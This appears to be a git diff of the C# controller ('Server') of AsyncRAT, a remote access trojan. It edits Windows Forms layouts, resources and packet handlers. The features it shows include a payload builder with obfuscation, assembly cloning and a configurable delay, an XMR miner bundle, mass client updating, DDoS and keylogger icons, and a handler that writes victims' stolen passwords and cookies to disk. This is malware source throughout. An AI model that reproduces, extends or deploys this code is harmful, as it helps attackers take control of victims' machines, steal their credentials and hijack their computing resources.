this.serverToolStripMenuItem.Image = global::Server.Properties.Resources.server; this.serverToolStripMenuItem.Image = global::Server.Properties.Resources.server;
this.serverToolStripMenuItem.Name = "serverToolStripMenuItem"; this.serverToolStripMenuItem.Name = "serverToolStripMenuItem";
this.serverToolStripMenuItem.Size = new System.Drawing.Size(248, 32); this.serverToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.serverToolStripMenuItem.Text = "Server"; this.serverToolStripMenuItem.Text = "Server";
// //
// blockClientsToolStripMenuItem // blockClientsToolStripMenuItem
// //
this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled; this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem"; this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem";
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(270, 34); this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
this.blockClientsToolStripMenuItem.Text = "Block Clients"; this.blockClientsToolStripMenuItem.Text = "Block Clients";
this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click); this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click);
// //
// toolStripSeparator5 // toolStripSeparator5
// //
this.toolStripSeparator5.Name = "toolStripSeparator5"; this.toolStripSeparator5.Name = "toolStripSeparator5";
this.toolStripSeparator5.Size = new System.Drawing.Size(245, 6); this.toolStripSeparator5.Size = new System.Drawing.Size(199, 6);
// //
// bUILDERToolStripMenuItem // bUILDERToolStripMenuItem
// //
this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder;
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(248, 32); this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(202, 32);
this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Text = "BUILDER";
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
// //
@ -908,14 +924,14 @@
// //
this.minerToolStripMenuItem1.Name = "minerToolStripMenuItem1"; this.minerToolStripMenuItem1.Name = "minerToolStripMenuItem1";
this.minerToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); this.minerToolStripMenuItem1.Size = new System.Drawing.Size(249, 32);
this.minerToolStripMenuItem1.Text = "Miner XMR"; this.minerToolStripMenuItem1.Text = "XMR MINER";
this.minerToolStripMenuItem1.Click += new System.EventHandler(this.MinerToolStripMenuItem1_Click); this.minerToolStripMenuItem1.Click += new System.EventHandler(this.MinerToolStripMenuItem1_Click);
// //
// uPDATEToolStripMenuItem1 // uPDATEToolStripMenuItem1
// //
this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1"; this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1";
this.uPDATEToolStripMenuItem1.Size = new System.Drawing.Size(249, 32); this.uPDATEToolStripMenuItem1.Size = new System.Drawing.Size(249, 32);
this.uPDATEToolStripMenuItem1.Text = "UPDATE"; this.uPDATEToolStripMenuItem1.Text = "UPDATE ALL CLIENTS";
this.uPDATEToolStripMenuItem1.Click += new System.EventHandler(this.UPDATEToolStripMenuItem1_Click); this.uPDATEToolStripMenuItem1.Click += new System.EventHandler(this.UPDATEToolStripMenuItem1_Click);
// //
// toolStripSeparator4 // toolStripSeparator4
@ -953,22 +969,6 @@
this.TimerTask.Interval = 5000; this.TimerTask.Interval = 5000;
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
// //
// runToolStripMenuItem2
//
this.runToolStripMenuItem2.Image = global::Server.Properties.Resources.play_button;
this.runToolStripMenuItem2.Name = "runToolStripMenuItem2";
this.runToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
this.runToolStripMenuItem2.Text = "Run";
this.runToolStripMenuItem2.Click += new System.EventHandler(this.RunToolStripMenuItem2_Click);
//
// stopToolStripMenuItem1
//
this.stopToolStripMenuItem1.Image = global::Server.Properties.Resources.stop__1_;
this.stopToolStripMenuItem1.Name = "stopToolStripMenuItem1";
this.stopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.stopToolStripMenuItem1.Text = "Stop";
this.stopToolStripMenuItem1.Click += new System.EventHandler(this.StopToolStripMenuItem1_Click);
//
// Form1 // Form1
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);

View File

@ -278,7 +278,7 @@ namespace Server
{ {
Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}"; Text = $"{Settings.Version} {DateTime.Now.ToLongTimeString()}";
lock (Settings.LockListviewClients) lock (Settings.LockListviewClients)
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.SentValue).ToString()} Received {Methods.BytesToString(Settings.ReceivedValue).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%";
} }
#endregion #endregion

View File

@ -51,6 +51,8 @@ namespace Server.Forms
this.label3 = new System.Windows.Forms.Label(); this.label3 = new System.Windows.Forms.Label();
this.label4 = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label();
this.groupBox3 = new System.Windows.Forms.GroupBox(); this.groupBox3 = new System.Windows.Forms.GroupBox();
this.numDelay = new System.Windows.Forms.NumericUpDown();
this.label16 = new System.Windows.Forms.Label();
this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.chkBdos = new System.Windows.Forms.CheckBox(); this.chkBdos = new System.Windows.Forms.CheckBox();
this.txtMutex = new System.Windows.Forms.TextBox(); this.txtMutex = new System.Windows.Forms.TextBox();
@ -63,6 +65,7 @@ namespace Server.Forms
this.tabPage3 = new System.Windows.Forms.TabPage(); this.tabPage3 = new System.Windows.Forms.TabPage();
this.tabPage4 = new System.Windows.Forms.TabPage(); this.tabPage4 = new System.Windows.Forms.TabPage();
this.groupBox4 = new System.Windows.Forms.GroupBox(); this.groupBox4 = new System.Windows.Forms.GroupBox();
this.btnClone = new System.Windows.Forms.Button();
this.btnAssembly = new System.Windows.Forms.CheckBox(); this.btnAssembly = new System.Windows.Forms.CheckBox();
this.txtFileVersion = new System.Windows.Forms.TextBox(); this.txtFileVersion = new System.Windows.Forms.TextBox();
this.txtProductVersion = new System.Windows.Forms.TextBox(); this.txtProductVersion = new System.Windows.Forms.TextBox();
@ -85,15 +88,15 @@ namespace Server.Forms
this.chkIcon = new System.Windows.Forms.CheckBox(); this.chkIcon = new System.Windows.Forms.CheckBox();
this.label15 = new System.Windows.Forms.Label(); this.label15 = new System.Windows.Forms.Label();
this.txtIcon = new System.Windows.Forms.TextBox(); this.txtIcon = new System.Windows.Forms.TextBox();
this.btnIcon = new System.Windows.Forms.Button();
this.picIcon = new System.Windows.Forms.PictureBox(); this.picIcon = new System.Windows.Forms.PictureBox();
this.tabPage6 = new System.Windows.Forms.TabPage(); this.tabPage6 = new System.Windows.Forms.TabPage();
this.chkObfu = new System.Windows.Forms.CheckBox(); this.chkObfu = new System.Windows.Forms.CheckBox();
this.btnBuild = new System.Windows.Forms.Button(); this.btnBuild = new System.Windows.Forms.Button();
this.btnClone = new System.Windows.Forms.Button();
this.btnIcon = new System.Windows.Forms.Button();
this.groupBox1.SuspendLayout(); this.groupBox1.SuspendLayout();
this.groupBox2.SuspendLayout(); this.groupBox2.SuspendLayout();
this.groupBox3.SuspendLayout(); this.groupBox3.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numDelay)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.tabControl1.SuspendLayout(); this.tabControl1.SuspendLayout();
this.tabPage1.SuspendLayout(); this.tabPage1.SuspendLayout();
@ -323,6 +326,8 @@ namespace Server.Forms
// //
// groupBox3 // groupBox3
// //
this.groupBox3.Controls.Add(this.numDelay);
this.groupBox3.Controls.Add(this.label16);
this.groupBox3.Controls.Add(this.pictureBox1); this.groupBox3.Controls.Add(this.pictureBox1);
this.groupBox3.Controls.Add(this.chkBdos); this.groupBox3.Controls.Add(this.chkBdos);
this.groupBox3.Controls.Add(this.txtMutex); this.groupBox3.Controls.Add(this.txtMutex);
@ -335,6 +340,37 @@ namespace Server.Forms
this.groupBox3.TabStop = false; this.groupBox3.TabStop = false;
this.groupBox3.Text = "MISC"; this.groupBox3.Text = "MISC";
// //
// numDelay
//
this.numDelay.Location = new System.Drawing.Point(19, 165);
this.numDelay.Maximum = new decimal(new int[] {
999,
0,
0,
0});
this.numDelay.Minimum = new decimal(new int[] {
2,
0,
0,
0});
this.numDelay.Name = "numDelay";
this.numDelay.Size = new System.Drawing.Size(84, 26);
this.numDelay.TabIndex = 15;
this.numDelay.Value = new decimal(new int[] {
30,
0,
0,
0});
//
// label16
//
this.label16.AutoSize = true;
this.label16.Location = new System.Drawing.Point(15, 133);
this.label16.Name = "label16";
this.label16.Size = new System.Drawing.Size(123, 20);
this.label16.TabIndex = 14;
this.label16.Text = "Delay (seconds)";
//
// pictureBox1 // pictureBox1
// //
this.pictureBox1.Image = global::Server.Properties.Resources.uac; this.pictureBox1.Image = global::Server.Properties.Resources.uac;
@ -358,16 +394,16 @@ namespace Server.Forms
// txtMutex // txtMutex
// //
this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtMutex.Location = new System.Drawing.Point(106, 165); this.txtMutex.Location = new System.Drawing.Point(19, 251);
this.txtMutex.Name = "txtMutex"; this.txtMutex.Name = "txtMutex";
this.txtMutex.Size = new System.Drawing.Size(271, 26); this.txtMutex.Size = new System.Drawing.Size(301, 26);
this.txtMutex.TabIndex = 11; this.txtMutex.TabIndex = 11;
this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex; this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex;
// //
// label5 // label5
// //
this.label5.AutoSize = true; this.label5.AutoSize = true;
this.label5.Location = new System.Drawing.Point(14, 169); this.label5.Location = new System.Drawing.Point(15, 219);
this.label5.Name = "label5"; this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(52, 20); this.label5.Size = new System.Drawing.Size(52, 20);
this.label5.TabIndex = 10; this.label5.TabIndex = 10;
@ -469,6 +505,17 @@ namespace Server.Forms
this.groupBox4.TabStop = false; this.groupBox4.TabStop = false;
this.groupBox4.Text = "Assembly Information"; this.groupBox4.Text = "Assembly Information";
// //
// btnClone
//
this.btnClone.Enabled = false;
this.btnClone.Location = new System.Drawing.Point(453, 43);
this.btnClone.Name = "btnClone";
this.btnClone.Size = new System.Drawing.Size(103, 38);
this.btnClone.TabIndex = 21;
this.btnClone.Text = "Clone";
this.btnClone.UseVisualStyleBackColor = true;
this.btnClone.Click += new System.EventHandler(this.BtnClone_Click);
//
// btnAssembly // btnAssembly
// //
this.btnAssembly.AutoSize = true; this.btnAssembly.AutoSize = true;
@ -685,6 +732,17 @@ namespace Server.Forms
this.txtIcon.Size = new System.Drawing.Size(447, 26); this.txtIcon.Size = new System.Drawing.Size(447, 26);
this.txtIcon.TabIndex = 6; this.txtIcon.TabIndex = 6;
// //
// btnIcon
//
this.btnIcon.Enabled = false;
this.btnIcon.Location = new System.Drawing.Point(485, 122);
this.btnIcon.Name = "btnIcon";
this.btnIcon.Size = new System.Drawing.Size(60, 26);
this.btnIcon.TabIndex = 5;
this.btnIcon.Text = " ";
this.btnIcon.UseVisualStyleBackColor = true;
this.btnIcon.Click += new System.EventHandler(this.BtnIcon_Click);
//
// picIcon // picIcon
// //
this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
@ -729,28 +787,6 @@ namespace Server.Forms
this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.UseVisualStyleBackColor = true;
this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click); this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click);
// //
// btnClone
//
this.btnClone.Enabled = false;
this.btnClone.Location = new System.Drawing.Point(453, 43);
this.btnClone.Name = "btnClone";
this.btnClone.Size = new System.Drawing.Size(103, 38);
this.btnClone.TabIndex = 21;
this.btnClone.Text = "Clone";
this.btnClone.UseVisualStyleBackColor = true;
this.btnClone.Click += new System.EventHandler(this.BtnClone_Click);
//
// btnIcon
//
this.btnIcon.Enabled = false;
this.btnIcon.Location = new System.Drawing.Point(485, 122);
this.btnIcon.Name = "btnIcon";
this.btnIcon.Size = new System.Drawing.Size(60, 26);
this.btnIcon.TabIndex = 5;
this.btnIcon.Text = " ";
this.btnIcon.UseVisualStyleBackColor = true;
this.btnIcon.Click += new System.EventHandler(this.BtnIcon_Click);
//
// FormBuilder // FormBuilder
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@ -768,6 +804,7 @@ namespace Server.Forms
this.groupBox2.PerformLayout(); this.groupBox2.PerformLayout();
this.groupBox3.ResumeLayout(false); this.groupBox3.ResumeLayout(false);
this.groupBox3.PerformLayout(); this.groupBox3.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.numDelay)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.tabControl1.ResumeLayout(false); this.tabControl1.ResumeLayout(false);
this.tabPage1.ResumeLayout(false); this.tabPage1.ResumeLayout(false);
@ -848,5 +885,7 @@ namespace Server.Forms
private System.Windows.Forms.CheckBox chkObfu; private System.Windows.Forms.CheckBox chkObfu;
private System.Windows.Forms.Button btnClone; private System.Windows.Forms.Button btnClone;
private System.Windows.Forms.Button btnIcon; private System.Windows.Forms.Button btnIcon;
private System.Windows.Forms.NumericUpDown numDelay;
private System.Windows.Forms.Label label16;
} }
} }

View File

@ -365,7 +365,7 @@ namespace Server.Forms
foreach (TypeDef type in asmDef.Types) foreach (TypeDef type in asmDef.Types)
{ {
if (type.Name == "Settings") if (type.Name == "Settings")
foreach (MethodDef method in type.Methods) foreach (MethodDef method in type.Methods)
{ {
if (method.Body == null) continue; if (method.Body == null) continue;
@ -443,6 +443,9 @@ namespace Server.Forms
method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text); method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text);
else else
method.Body.Instructions[i].Operand = aes.Encrypt("null"); method.Body.Instructions[i].Operand = aes.Encrypt("null");
if (method.Body.Instructions[i].Operand.ToString() == "%Delay%")
method.Body.Instructions[i].Operand = numDelay.Value.ToString();
} }
} }
} }

View File

@ -56,7 +56,8 @@ namespace Server.Forms
} }
Program.form1.listView1.BeginInvoke((MethodInvoker)(() => Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{ {
MessageBox.Show(this, "If you want to use an updated version of AsyncRAT, remember to copy+paste your certificate", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information); MessageBox.Show(this, @"[!]If you wish to upgrade to new version of AsyncRAT, You will need to copy this certificate
[!]If you lose\delete this certificate you will NOT be able to control your clients, You will lose them all.", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information);
this.Close(); this.Close();
})); }));
} }

View File

@ -67,7 +67,10 @@ namespace Server.Forms
{ {
try try
{ {
Client?.Disconnected(); ThreadPool.QueueUserWorkItem((o) =>
{
Client?.Disconnected();
});
} }
catch { } catch { }
} }

View File

@ -26,7 +26,7 @@ namespace Server.Handle_Packet
Directory.CreateDirectory(fullPath); Directory.CreateDirectory(fullPath);
File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine)); File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine));
File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies); File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies);
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully @ ClientsFolder \\ {unpack_msgpack.ForcePathObject("Hwid").AsString} \\ Recovery", Color.Purple);
} }
else else
{ {

View File

@ -171,7 +171,7 @@ namespace Server.Handle_Packet
case "sendPlugin": case "sendPlugin":
{ {
new HandleLogs().Addmsg($"Sending plugins to client {ip} please wait..", Color.Blue); new HandleLogs().Addmsg($"Sending the plugin to client {ip} for the first time please wait..", Color.Blue);
ThreadPool.QueueUserWorkItem(delegate { ThreadPool.QueueUserWorkItem(delegate {
client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString); client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString);
}); });
@ -188,7 +188,6 @@ namespace Server.Handle_Packet
} }
catch catch
{ {
client?.Disconnected();
return; return;
} }
} }

View File

@ -5,11 +5,11 @@ using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following // General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information // set of attributes. Change these attribute values to modify the information
// associated with an assembly. // associated with an assembly.
[assembly: AssemblyTitle("AsyncRAT-Sharp")] [assembly: AssemblyTitle("AsyncRAT")]
[assembly: AssemblyDescription("")] [assembly: AssemblyDescription("NYAN CAT")]
[assembly: AssemblyConfiguration("")] [assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")] [assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("AsyncRAT-Sharp")] [assembly: AssemblyProduct("AsyncRAT")]
[assembly: AssemblyCopyright("Copyright © 2019")] [assembly: AssemblyCopyright("Copyright © 2019")]
[assembly: AssemblyTrademark("")] [assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")] [assembly: AssemblyCulture("")]
@ -20,7 +20,7 @@ using System.Runtime.InteropServices;
[assembly: ComVisible(false)] [assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM // The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("7767c300-5fd5-4a5d-9d4c-59559cce48a3")] //[assembly: Guid("7767c300-5fd5-4a5d-9d4c-59559cce48a3")]
// Version information for an assembly consists of the following four values: // Version information for an assembly consists of the following four values:
// //
@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
// You can specify all the values or you can default the Build and Revision Numbers // You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below: // by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")] // [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyVersion("0.5.5.0")]
[assembly: AssemblyFileVersion("1.0.0.0")] [assembly: AssemblyFileVersion("0.5.5.0")]

View File

@ -220,6 +220,26 @@ namespace Server.Properties {
} }
} }
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap keyboard {
get {
object obj = ResourceManager.GetObject("keyboard", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap keyboard_on {
get {
object obj = ResourceManager.GetObject("keyboard-on", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary> /// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap. /// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary> /// </summary>

View File

@ -169,6 +169,9 @@
<data name="mouse" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="mouse" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="_7z" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\7z.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
<data name="tomem1" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="tomem1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
@ -178,6 +181,9 @@
<data name="uac" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="uac" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\uac.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\uac.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="process" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="pc" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="pc" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\pc.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\pc.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
@ -205,8 +211,8 @@
<data name="extra" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="extra" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\extra.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\extra.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="xmrig" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="client" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\xmrig.bin;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> <value>..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="monitoring-system" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="monitoring-system" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\monitoring-system.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\monitoring-system.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
@ -214,17 +220,14 @@
<data name="webcam" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="webcam" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="netstat" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="tomem" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="tomem" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="ddos" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="ddos" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\ddos.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\ddos.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="process" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="netstat" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\netstat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="save-image2" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="save-image2" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\save-image2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\save-image2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
@ -235,19 +238,22 @@
<data name="disabled" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="disabled" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\disabled.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\disabled.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="chat" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="client" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\client.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="server" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="server" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value> <value>..\Resources\server.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data> </data>
<data name="_7z" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="chat" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\7z.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> <value>..\Resources\chat.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="xmrig" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\xmrig.bin;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data> </data>
<data name="_7z1" type="System.Resources.ResXFileRef, System.Windows.Forms"> <data name="_7z1" type="System.Resources.ResXFileRef, System.Windows.Forms">
